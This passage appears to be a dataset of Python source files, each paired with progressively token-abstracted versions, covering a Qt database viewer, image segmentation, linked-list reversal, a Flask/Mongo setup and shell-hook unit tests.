1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n <function token>\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n", "<import token>\n<code token>\n\n\nclass Ui_Form(object):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n", "<import token>\n<code token>\n<class token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n", "<import token>\n<code token>\n<class token>\n\n\nclass Database:\n <function token>\n", "<import token>\n<code token>\n<class token>\n<class token>\n" ]
false
9,992
2193c97b7f1fcf204007c2528ecc47cbf3c67e81
import torch import numpy as np import cv2 import torchvision from PIL import Image def people_on_image(path_to_image): color_map = [ (255, 255, 255), # background (255, 255, 255), # aeroplane (255, 255, 255), # bicycle (255, 255, 255), # bird (255, 255, 255), # boat (255, 255, 255), # bottle (255, 255, 255), # bus (255, 255, 255), # car (255, 255, 255), # cat (255, 255, 255), # chair (255, 255, 255), # cow (255, 255, 255), # dining table (255, 255, 255), # dog (255, 255, 255), # horse (255, 255, 255), # motorbike (255, 0, 0), # person (255, 255, 255), # potted plant (255, 255, 255), # sheep (255, 255, 255), # sofa (255, 255, 255), # train (255, 255, 255) # tv/monitor ] trans = torchvision.transforms.Compose([ torchvision.transforms.Resize(540), torchvision.transforms.CenterCrop(520), torchvision.transforms.ToTensor(), torchvision.transforms.Normalize( (0.485, 0.456, 0.406), (0.229, 0.224, 0.225))]) model = torchvision.models.segmentation.fcn_resnet50(pretrained=True) model.eval() image = Image.open(path_to_image) image = trans(image) image = image.unsqueeze(0) out = model(image) labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy() red_map = np.zeros_like(labels).astype(np.uint8) green_map = np.zeros_like(labels).astype(np.uint8) blue_map = np.zeros_like(labels).astype(np.uint8) for label_num in range(0, len(color_map)): index = labels == label_num red_map[index] = np.array(color_map)[label_num, 0] blue_map[index] = np.array(color_map)[label_num, 1] green_map[index] = np.array(color_map)[label_num, 2] ready_image = np.stack([red_map, green_map, blue_map], axis=2) image = np.array(image) image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR) ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR) cv2.addWeighted(ready_image, 0.6, image, 0.4, 0) return ready_image
[ "import torch\r\nimport numpy as np\r\nimport cv2\r\nimport torchvision\r\nfrom PIL import Image\r\n\r\n\r\n\r\ndef people_on_image(path_to_image):\r\n\r\n color_map = [\r\n (255, 255, 255), # background\r\n (255, 255, 255), # aeroplane\r\n (255, 255, 255), # bicycle\r\n (255, 255, 255), # bird\r\n (255, 255, 255), # boat\r\n (255, 255, 255), # bottle\r\n (255, 255, 255), # bus\r\n (255, 255, 255), # car\r\n (255, 255, 255), # cat\r\n (255, 255, 255), # chair\r\n (255, 255, 255), # cow\r\n (255, 255, 255), # dining table\r\n (255, 255, 255), # dog\r\n (255, 255, 255), # horse\r\n (255, 255, 255), # motorbike\r\n (255, 0, 0), # person\r\n (255, 255, 255), # potted plant\r\n (255, 255, 255), # sheep\r\n (255, 255, 255), # sofa\r\n (255, 255, 255), # train\r\n (255, 255, 255) # tv/monitor\r\n ]\r\n trans = torchvision.transforms.Compose([\r\n torchvision.transforms.Resize(540),\r\n torchvision.transforms.CenterCrop(520),\r\n torchvision.transforms.ToTensor(),\r\n torchvision.transforms.Normalize(\r\n (0.485, 0.456, 0.406), (0.229, 0.224, 0.225))])\r\n\r\n model = torchvision.models.segmentation.fcn_resnet50(pretrained=True)\r\n model.eval()\r\n\r\n image = Image.open(path_to_image)\r\n image = trans(image)\r\n image = image.unsqueeze(0)\r\n out = model(image)\r\n\r\n labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy()\r\n\r\n red_map = np.zeros_like(labels).astype(np.uint8)\r\n green_map = np.zeros_like(labels).astype(np.uint8)\r\n blue_map = np.zeros_like(labels).astype(np.uint8)\r\n\r\n for label_num in range(0, len(color_map)):\r\n index = labels == label_num\r\n red_map[index] = np.array(color_map)[label_num, 0]\r\n blue_map[index] = np.array(color_map)[label_num, 1]\r\n green_map[index] = np.array(color_map)[label_num, 2]\r\n\r\n ready_image = np.stack([red_map, green_map, blue_map], axis=2)\r\n\r\n image = np.array(image)\r\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\r\n ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR)\r\n cv2.addWeighted(ready_image, 0.6, image, 0.4, 0)\r\n return ready_image\r\n\r\n", "import torch\nimport numpy as np\nimport cv2\nimport torchvision\nfrom PIL import Image\n\n\ndef people_on_image(path_to_image):\n color_map = [(255, 255, 255), (255, 255, 255), (255, 255, 255), (255, \n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 0, 0), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255,\n 255), (255, 255, 255)]\n trans = torchvision.transforms.Compose([torchvision.transforms.Resize(\n 540), torchvision.transforms.CenterCrop(520), torchvision.\n transforms.ToTensor(), torchvision.transforms.Normalize((0.485, \n 0.456, 0.406), (0.229, 0.224, 0.225))])\n model = torchvision.models.segmentation.fcn_resnet50(pretrained=True)\n model.eval()\n image = Image.open(path_to_image)\n image = trans(image)\n image = image.unsqueeze(0)\n out = model(image)\n labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy()\n red_map = np.zeros_like(labels).astype(np.uint8)\n green_map = np.zeros_like(labels).astype(np.uint8)\n blue_map = np.zeros_like(labels).astype(np.uint8)\n for label_num in range(0, len(color_map)):\n index = labels == label_num\n red_map[index] = np.array(color_map)[label_num, 0]\n blue_map[index] = np.array(color_map)[label_num, 1]\n green_map[index] = np.array(color_map)[label_num, 2]\n ready_image = np.stack([red_map, green_map, blue_map], axis=2)\n image = np.array(image)\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR)\n cv2.addWeighted(ready_image, 0.6, image, 0.4, 0)\n return ready_image\n", "<import token>\n\n\ndef people_on_image(path_to_image):\n color_map = [(255, 255, 255), (255, 255, 255), (255, 255, 255), (255, \n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 0, 0), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255,\n 255), (255, 255, 255)]\n trans = torchvision.transforms.Compose([torchvision.transforms.Resize(\n 540), torchvision.transforms.CenterCrop(520), torchvision.\n transforms.ToTensor(), torchvision.transforms.Normalize((0.485, \n 0.456, 0.406), (0.229, 0.224, 0.225))])\n model = torchvision.models.segmentation.fcn_resnet50(pretrained=True)\n model.eval()\n image = Image.open(path_to_image)\n image = trans(image)\n image = image.unsqueeze(0)\n out = model(image)\n labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy()\n red_map = np.zeros_like(labels).astype(np.uint8)\n green_map = np.zeros_like(labels).astype(np.uint8)\n blue_map = np.zeros_like(labels).astype(np.uint8)\n for label_num in range(0, len(color_map)):\n index = labels == label_num\n red_map[index] = np.array(color_map)[label_num, 0]\n blue_map[index] = np.array(color_map)[label_num, 1]\n green_map[index] = np.array(color_map)[label_num, 2]\n ready_image = np.stack([red_map, green_map, blue_map], axis=2)\n image = np.array(image)\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR)\n cv2.addWeighted(ready_image, 0.6, image, 0.4, 0)\n return ready_image\n", "<import token>\n<function token>\n" ]
false
9,993
ff137b51ea5b8c21e335a38a3d307a3302921245
class Node: def __init__(self,data): self.data = data self.next = None def Add(Head,data): Temp = Head while(Temp.next != None): Temp = Temp.next Temp.next = Node(data) # print(Temp.data) def create(data): Head = Node(data) return Head def printLL(Head): Temp = Head while(Temp != None): # input() print(Temp.data,end=" ") Temp = Temp.next print() def Reverse(Head): Temp = Head TempNext = Head.next # curr = TempNext while(TempNext != None): NextSaved = TempNext.next TempNext.next = Temp Temp = TempNext TempNext = NextSaved Head.next = None Head = Temp return Head if __name__ == '__main__': Head = create(5) Add(Head,6) Add(Head,7) Add(Head,8) Add(Head,9) Add(Head,10) printLL(Head) NewHead = Reverse(Head) printLL(NewHead)
[ "\nclass Node:\n def __init__(self,data):\n self.data = data\n self.next = None\n\ndef Add(Head,data):\n Temp = Head\n while(Temp.next != None):\n Temp = Temp.next\n Temp.next = Node(data)\n # print(Temp.data)\n\ndef create(data):\n Head = Node(data)\n return Head\n\ndef printLL(Head):\n Temp = Head\n while(Temp != None):\n # input()\n print(Temp.data,end=\" \")\n Temp = Temp.next\n print()\n\ndef Reverse(Head): \n Temp = Head\n TempNext = Head.next\n # curr = TempNext\n while(TempNext != None):\n NextSaved = TempNext.next\n TempNext.next = Temp\n \n Temp = TempNext\n TempNext = NextSaved\n \n Head.next = None\n Head = Temp\n return Head\n\nif __name__ == '__main__':\n Head = create(5)\n Add(Head,6)\n Add(Head,7)\n Add(Head,8)\n Add(Head,9)\n Add(Head,10)\n printLL(Head)\n NewHead = Reverse(Head)\n printLL(NewHead)\n\n", "class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\ndef Add(Head, data):\n Temp = Head\n while Temp.next != None:\n Temp = Temp.next\n Temp.next = Node(data)\n\n\ndef create(data):\n Head = Node(data)\n return Head\n\n\ndef printLL(Head):\n Temp = Head\n while Temp != None:\n print(Temp.data, end=' ')\n Temp = Temp.next\n print()\n\n\ndef Reverse(Head):\n Temp = Head\n TempNext = Head.next\n while TempNext != None:\n NextSaved = TempNext.next\n TempNext.next = Temp\n Temp = TempNext\n TempNext = NextSaved\n Head.next = None\n Head = Temp\n return Head\n\n\nif __name__ == '__main__':\n Head = create(5)\n Add(Head, 6)\n Add(Head, 7)\n Add(Head, 8)\n Add(Head, 9)\n Add(Head, 10)\n printLL(Head)\n NewHead = Reverse(Head)\n printLL(NewHead)\n", "class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\ndef Add(Head, data):\n Temp = Head\n while Temp.next != None:\n Temp = Temp.next\n Temp.next = Node(data)\n\n\ndef create(data):\n Head = Node(data)\n return Head\n\n\ndef printLL(Head):\n Temp = Head\n while Temp != None:\n print(Temp.data, end=' ')\n Temp = Temp.next\n print()\n\n\ndef Reverse(Head):\n Temp = Head\n TempNext = Head.next\n while TempNext != None:\n NextSaved = TempNext.next\n TempNext.next = Temp\n Temp = TempNext\n TempNext = NextSaved\n Head.next = None\n Head = Temp\n return Head\n\n\n<code token>\n", "class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\ndef Add(Head, data):\n Temp = Head\n while Temp.next != None:\n Temp = Temp.next\n Temp.next = Node(data)\n\n\ndef create(data):\n Head = Node(data)\n return Head\n\n\n<function token>\n\n\ndef Reverse(Head):\n Temp = Head\n TempNext = Head.next\n while TempNext != None:\n NextSaved = TempNext.next\n TempNext.next = Temp\n Temp = TempNext\n TempNext = NextSaved\n Head.next = None\n Head = Temp\n return Head\n\n\n<code token>\n", "class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\n<function token>\n\n\ndef create(data):\n Head = Node(data)\n return Head\n\n\n<function token>\n\n\ndef Reverse(Head):\n Temp = Head\n TempNext = Head.next\n while TempNext != None:\n NextSaved = TempNext.next\n TempNext.next = Temp\n Temp = TempNext\n TempNext = NextSaved\n Head.next = None\n Head = Temp\n return Head\n\n\n<code token>\n", "class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef Reverse(Head):\n Temp = Head\n TempNext = Head.next\n while TempNext != None:\n NextSaved = TempNext.next\n TempNext.next = Temp\n Temp = TempNext\n TempNext = NextSaved\n Head.next = None\n Head = Temp\n return Head\n\n\n<code token>\n", "class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "class Node:\n <function token>\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
9,994
0ac14b023c51bfd1cf99bd2d991baa30a671e066
# _*_ coding: utf-8 _*_ from service import service_logger from service.TaskService import TaskService class ApiException(Exception): def __init__(self, message, code=400, data=None): Exception.__init__(self, message) self.code = code self.msg = message self.data = data def __str__(self): return self.msg def to_dict(self): res = dict(self.data or ()) res['msg'] = self.msg res['code'] = self.code return res def error_handle(msg='', data=None): service_logger.error(data={"msg": msg, "data": data}) raise ApiException(msg)
[ "# _*_ coding: utf-8 _*_\r\nfrom service import service_logger\r\nfrom service.TaskService import TaskService\r\n\r\nclass ApiException(Exception):\r\n\r\n def __init__(self, message, code=400, data=None):\r\n Exception.__init__(self, message)\r\n\r\n self.code = code\r\n self.msg = message\r\n self.data = data\r\n\r\n def __str__(self):\r\n return self.msg\r\n\r\n def to_dict(self):\r\n res = dict(self.data or ())\r\n res['msg'] = self.msg\r\n res['code'] = self.code\r\n\r\n return res\r\n\r\n\r\ndef error_handle(msg='', data=None):\r\n service_logger.error(data={\"msg\": msg, \"data\": data})\r\n raise ApiException(msg)", "from service import service_logger\nfrom service.TaskService import TaskService\n\n\nclass ApiException(Exception):\n\n def __init__(self, message, code=400, data=None):\n Exception.__init__(self, message)\n self.code = code\n self.msg = message\n self.data = data\n\n def __str__(self):\n return self.msg\n\n def to_dict(self):\n res = dict(self.data or ())\n res['msg'] = self.msg\n res['code'] = self.code\n return res\n\n\ndef error_handle(msg='', data=None):\n service_logger.error(data={'msg': msg, 'data': data})\n raise ApiException(msg)\n", "<import token>\n\n\nclass ApiException(Exception):\n\n def __init__(self, message, code=400, data=None):\n Exception.__init__(self, message)\n self.code = code\n self.msg = message\n self.data = data\n\n def __str__(self):\n return self.msg\n\n def to_dict(self):\n res = dict(self.data or ())\n res['msg'] = self.msg\n res['code'] = self.code\n return res\n\n\ndef error_handle(msg='', data=None):\n service_logger.error(data={'msg': msg, 'data': data})\n raise ApiException(msg)\n", "<import token>\n\n\nclass ApiException(Exception):\n\n def __init__(self, message, code=400, data=None):\n Exception.__init__(self, message)\n self.code = code\n self.msg = message\n self.data = data\n\n def __str__(self):\n return self.msg\n\n def to_dict(self):\n res = dict(self.data or ())\n res['msg'] = self.msg\n res['code'] = self.code\n return res\n\n\n<function token>\n", "<import token>\n\n\nclass ApiException(Exception):\n\n def __init__(self, message, code=400, data=None):\n Exception.__init__(self, message)\n self.code = code\n self.msg = message\n self.data = data\n\n def __str__(self):\n return self.msg\n <function token>\n\n\n<function token>\n", "<import token>\n\n\nclass ApiException(Exception):\n\n def __init__(self, message, code=400, data=None):\n Exception.__init__(self, message)\n self.code = code\n self.msg = message\n self.data = data\n <function token>\n <function token>\n\n\n<function token>\n", "<import token>\n\n\nclass ApiException(Exception):\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n", "<import token>\n<class token>\n<function token>\n" ]
false
9,995
aafdd228cf2859d7f013b088263eab544e19c481
import pymongo from FlaskScripts.database.user_database import user from FlaskScripts.database.blog_database import blog myclient = {} try: myclient = pymongo.MongoClient("mongodb://localhost:27017/") myclient.server_info() print('Database Connected') except: print('Database Error') mydb = myclient["jmitproject"] user = user(mydb) # use user for users interaction blog = blog(mydb) # use blog for blogs interaction
[ "import pymongo\nfrom FlaskScripts.database.user_database import user\nfrom FlaskScripts.database.blog_database import blog\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\n\nmydb = myclient[\"jmitproject\"]\n\nuser = user(mydb) # use user for users interaction\nblog = blog(mydb) # use blog for blogs interaction\n", "import pymongo\nfrom FlaskScripts.database.user_database import user\nfrom FlaskScripts.database.blog_database import blog\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\nmydb = myclient['jmitproject']\nuser = user(mydb)\nblog = blog(mydb)\n", "<import token>\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\nmydb = myclient['jmitproject']\nuser = user(mydb)\nblog = blog(mydb)\n", "<import token>\n<assignment token>\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\n<assignment token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n" ]
false
9,996
c312bf096c7f4aaf9269a8885ff254fd4852cfe0
from mock import Mock from shelf.hook.background import action from shelf.hook.event import Event from tests.test_base import TestBase import json import os import logging from pyproctor import MonkeyPatcher class ExecuteCommandTest(TestBase): def setUp(self): super(ExecuteCommandTest, self).setUp() self.cwd = os.path.join(os.path.dirname(__file__), "../../..") self.logger = Mock() MonkeyPatcher.patch(action, "create_background_logger", Mock(return_value=self.logger)) def create_data(self, command, event): data = { "command": command, "log_level": logging.DEBUG, "event": event, "uri": "https://api.shelf.com/fake/artifact/1", "meta_uri": "https://api.shelf.com/fake/artifact/1/_meta", "cwd": self.cwd } return data def create_stdout(self, data): l = [ "SHELF_EVENT={0}".format(data["event"]), "SHELF_URI={0}".format(data["uri"]), "SHELF_META_URI={0}".format(data["meta_uri"]) ] return ", ".join(l) def test_success(self): data = self.create_data("./tests/bin/hook-test", Event.ARTIFACT_UPLOADED) result = action.execute_command(**data) self.assertTrue(result) expected_result = { "stdout": self.create_stdout(data), "stderr": "STDERR", "exit_code": 0 } self.logger.debug.assert_called_with("Command Result: {0}".format(json.dumps(expected_result, indent=4))) def test_failure(self): data = self.create_data("./tests/bin/hook-test", "fail") result = action.execute_command(**data) self.assertFalse(result) expected_result = { "stdout": self.create_stdout(data), "stderr": "STDERR", "exit_code": 1 } self.logger.debug.assert_called_with("Command Result: {0}".format(json.dumps(expected_result, indent=4)))
[ "from mock import Mock\nfrom shelf.hook.background import action\nfrom shelf.hook.event import Event\nfrom tests.test_base import TestBase\nimport json\nimport os\nimport logging\nfrom pyproctor import MonkeyPatcher\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), \"../../..\")\n self.logger = Mock()\n MonkeyPatcher.patch(action, \"create_background_logger\", Mock(return_value=self.logger))\n\n def create_data(self, command, event):\n data = {\n \"command\": command,\n \"log_level\": logging.DEBUG,\n \"event\": event,\n \"uri\": \"https://api.shelf.com/fake/artifact/1\",\n \"meta_uri\": \"https://api.shelf.com/fake/artifact/1/_meta\",\n \"cwd\": self.cwd\n }\n\n return data\n\n def create_stdout(self, data):\n l = [\n \"SHELF_EVENT={0}\".format(data[\"event\"]),\n \"SHELF_URI={0}\".format(data[\"uri\"]),\n \"SHELF_META_URI={0}\".format(data[\"meta_uri\"])\n ]\n\n return \", \".join(l)\n\n def test_success(self):\n data = self.create_data(\"./tests/bin/hook-test\", Event.ARTIFACT_UPLOADED)\n result = action.execute_command(**data)\n self.assertTrue(result)\n\n expected_result = {\n \"stdout\": self.create_stdout(data),\n \"stderr\": \"STDERR\",\n \"exit_code\": 0\n }\n\n self.logger.debug.assert_called_with(\"Command Result: {0}\".format(json.dumps(expected_result, indent=4)))\n\n def test_failure(self):\n data = self.create_data(\"./tests/bin/hook-test\", \"fail\")\n result = action.execute_command(**data)\n self.assertFalse(result)\n\n expected_result = {\n \"stdout\": self.create_stdout(data),\n \"stderr\": \"STDERR\",\n \"exit_code\": 1\n }\n\n self.logger.debug.assert_called_with(\"Command Result: {0}\".format(json.dumps(expected_result, indent=4)))\n", "from mock import Mock\nfrom shelf.hook.background import action\nfrom shelf.hook.event import Event\nfrom tests.test_base import TestBase\nimport json\nimport os\nimport logging\nfrom pyproctor import MonkeyPatcher\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), '../../..')\n self.logger = Mock()\n MonkeyPatcher.patch(action, 'create_background_logger', Mock(\n return_value=self.logger))\n\n def create_data(self, command, event):\n data = {'command': command, 'log_level': logging.DEBUG, 'event':\n event, 'uri': 'https://api.shelf.com/fake/artifact/1',\n 'meta_uri': 'https://api.shelf.com/fake/artifact/1/_meta',\n 'cwd': self.cwd}\n return data\n\n def create_stdout(self, data):\n l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'.\n format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])]\n return ', '.join(l)\n\n def test_success(self):\n data = self.create_data('./tests/bin/hook-test', Event.\n ARTIFACT_UPLOADED)\n result = action.execute_command(**data)\n self.assertTrue(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 0}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n", "<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), '../../..')\n self.logger = Mock()\n MonkeyPatcher.patch(action, 'create_background_logger', Mock(\n return_value=self.logger))\n\n def create_data(self, command, event):\n data = {'command': command, 'log_level': logging.DEBUG, 'event':\n event, 'uri': 'https://api.shelf.com/fake/artifact/1',\n 'meta_uri': 'https://api.shelf.com/fake/artifact/1/_meta',\n 'cwd': self.cwd}\n return data\n\n def create_stdout(self, data):\n l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'.\n format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])]\n return ', '.join(l)\n\n def test_success(self):\n data = self.create_data('./tests/bin/hook-test', Event.\n ARTIFACT_UPLOADED)\n result = action.execute_command(**data)\n self.assertTrue(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 0}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n", "<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), '../../..')\n self.logger = Mock()\n MonkeyPatcher.patch(action, 'create_background_logger', Mock(\n return_value=self.logger))\n <function token>\n\n def create_stdout(self, data):\n l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'.\n format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])]\n return ', '.join(l)\n\n def test_success(self):\n data = self.create_data('./tests/bin/hook-test', Event.\n ARTIFACT_UPLOADED)\n result = action.execute_command(**data)\n self.assertTrue(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 0}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n", "<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), '../../..')\n self.logger = Mock()\n MonkeyPatcher.patch(action, 'create_background_logger', Mock(\n return_value=self.logger))\n <function token>\n <function token>\n\n def test_success(self):\n data = self.create_data('./tests/bin/hook-test', Event.\n ARTIFACT_UPLOADED)\n result = action.execute_command(**data)\n self.assertTrue(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 0}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n", "<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), '../../..')\n self.logger = Mock()\n MonkeyPatcher.patch(action, 'create_background_logger', Mock(\n return_value=self.logger))\n <function token>\n <function token>\n <function token>\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n", "<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n <function token>\n <function token>\n <function token>\n <function token>\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n", "<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
9,997
25288a6dd0552d59f8c305bb8edbbbed5d464d5b
